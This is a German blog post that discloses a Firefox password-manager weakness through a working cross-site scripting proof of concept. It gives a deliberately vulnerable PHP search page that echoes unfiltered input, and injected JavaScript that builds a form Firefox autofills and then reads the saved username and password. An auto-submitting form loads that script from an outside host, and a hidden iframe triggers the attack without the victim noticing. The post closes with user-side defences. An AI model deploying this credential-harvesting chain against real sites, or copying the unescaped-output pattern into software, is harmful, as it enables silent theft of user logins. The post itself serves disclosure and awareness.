Wieder einmal geht es mir um Cross-Site Scripting (de.wikipedia.org) und die Anfälligkeit des Passwort-Manager im Firefox, für unbemerktes Auslesen der Zugangsdaten. Auch in der neuen Version des Firefox wurde die dumme Sicherheitslücke, welche automatisch die Zugangsdaten in ein Login-Formular einträgt, nicht bereinigt. Diesmal habe ich hier auch Quellcodes mit aufgeführt, damit jeder selber die Dummheit im Browser nachvollziehen und ein eigenes Beispiel bauen kann.
Das Beispiel ist online, d.h. es kann auch einfach nur zur Demonstration benutzt werden. Es speichert keine Daten, weder vom Login noch von der Suche.
Das Opfer
Das Login
Dies Login dient nur dazu, die Zugangsdaten im Passwort-Manager des Firefox zu speichern.
http://pm.mc0.de/login.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Login: XSS Demo Password Manager</title>
</head>
<body>
<h2>Login: XSS Demo Password Manager</h2>
<form method="post" action="login.php">
Username: <input type="text" name="u" /><br />
Password: <input type="password" name="p" /><br />
<input type="submit" value="Login" />
</form>
</body>
</html>
Die Suche
Die XSS-Lücke für den Angreifer habe ich in eine fiktive Suchfunktion eingebaut.
http://pm.mc0.de/suche.php

<?
if (isset($_POST['s'])){
$s = $_POST['s'];
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Suche: XSS Demo Password Manager</title>
</head>
<body>
<h2>Suche: XSS Demo Password Manager</h2>
<form method="post" action="suche.php">
<input type="text" value="<?=$s?>" name="s" size="40" />
<input type="submit" value="Suchen" />
</form>
</body>
</html>
Die Eingabe der Suchanfrage wird in der POST-Variable s gespeichert und ungefiltert (die XSS-Lücke) wieder in dem Eingabefeld der Suche ausgegeben. Dies (auch die XSS-Lücke <g>) findet man sehr häufig in Suchfunktionen, damit der Suchende seine Suche verfeinern kann ohne immer wieder alles neu eingeben zu müssen.
Der Angreifer
Eine XSS-Lücke wurde gefunden

Diese Lücke kann ausgenutzt werden um die Zugangsdaten von registrierten Benutzern der Website auszuspähen. Hierzu braucht es aber keine Lücke auf der Seite mit dem Login selber. Der Firefox vergleicht einfach nur das Protokoll (http oder https) und die Domain. Findet er für eine Domain mit dem entsprechenden Protokoll einen Eintrag in seinem Passwort-Manager so füllt er die Eingabefelder automatisch aus.
-
Beispiel:
http://www.domain.tld/login.cgi
http://www.domain.tld/verzeichnis/xss-luecke.cgi
Hier besteht die Möglichkeit die Zugangsdaten aus dem Passwort-Manager auszulesen.
-
Beispiel:
https://www.domain.tld/login.cgi
http://www.domain.tld/verzeichnis/xss-luecke.cgi
Wäre das Login zwingend nur per https möglich, so braucht der Angreifer auch eine XSS-Lücke in einem Script welches verschlüsselt übertragen wird.
-
Beispiel:
http://ww2.domain.tld/login.cgi
http://www.domain.tld/verzeichnis/xss-luecke.cgi
Auch ein Login unter einer anderen Subdomain wäre mit der gefundenen XSS-Lücke nicht angreifbar.
Das injizierte JavaScript
http://pm.18c.de/ff.js
Mit etwas JavaScript kann der Firefox dazu gebracht werden die Zugangsdaten offen zu legen:
function pass(){
u = document.getElementById("u").value;
p = document.getElementById("p").value;
alert('Benutzer: ' + u + '\nPasswort: ' + p);
}
document.write('<form><input id=u type=text><input id=p type=password><\/form>');
setTimeout('pass()', 200);
Dieses Script erzeugt ein Formular in welches der Firefox automatisch die Zugangsdaten einträgt, die Daten werden ausgelesen und per Alert angezeigt.
Ein Test

Das Formular zur Injektion
http://pm.18c.de/xss.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
</head>
<body onload="document.xss.submit()">
<form action="http://pm.mc0.de/suche.php" method="post" name="xss">
<input type="hidden" name="s" value=""><script src=http://pm.18c.de/ff.js></script>" />
</form>
</body>
</html>
Dies Formular ist nötig, da die Daten per POST-Request übertragen werden.
Das unsichtbare Iframe
http://pm.18c.de/iframe.php

Ein echter Angreifer würde die Zugangsdaten natürlich nicht per Alert seinem Opfer anzeigen, sondern in einer Datei speichern oder sich per E-Mail zusenden lassen. Für ein PoC ist dies aber durchaus akzeptabel und hoffentlich eindringlich genug.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>iframe: XSS Demo Password Manager</title>
</head>
<body>
<h2>iframe: XSS Demo Password Manager</h2>
<iframe src="http://pm.18c.de/xss.php" style="display:none"></iframe>
</body>
</html>
Gibt sich der Angreifer etwas Mühe, so kann er leicht an Zugangsdaten kommen und dies ohne dass das Opfer irgendetwas von dem Angriff mitbekommt.
Da der Besucher einer Website nichts gegen Sicherheitslücken in dieser tun kann, bleiben ihm nur die folgende Möglichkeiten, dem Problem zu begegnen:
- Den Passwort-Manager im Firefox deaktivieren.
- Ein kostenloses Add-on wie Secure Login (addons.mozilla.org) nutzen, welches erst nach einem Klick auf ein Icon das Login-Formular ausfüllt. (Wie im Opera.)
- Ein Programm zur Verwaltung von Zugangsdaten wäre 1Passwort (agilewebsolutions.com), welches es für OS-X und Windows gibt. Ist die Browser-Erweiterung aktiviert, so wird auch hier, erst nach einem Klick auf ein Icon das Login-Formular ausgefüllt. Nutzt man verschiedene Betriebssysteme und auch mobile Geräte, so ist dies eine gute Wahl. Allerdings ist diese Lösung nicht kostenlos.
Es gibt auch die Möglichkeit mehr als einen (z.B. mit Fakedaten) Account für eine Website im Passwort-Manager anzulegen, damit ein Formular nicht automatisch ausgefüllt wird. Ist der echte Benutzername dem Angreifer bekannt, so kann er diesen in dem JavaScript vorgeben und bekommt das dazu passende Passwort. Da Angriffe zum Teil sehr zielgerichtet auf bestimmte Personen erfolgen, ist diese Möglichkeit nicht zu empfehlen.
Ich hoffe, dass dieses Beispiel veranschaulicht, wie gefährlich Cross-Site Scripting sein kann — denn nach wie vor wird XSS unterschätzt.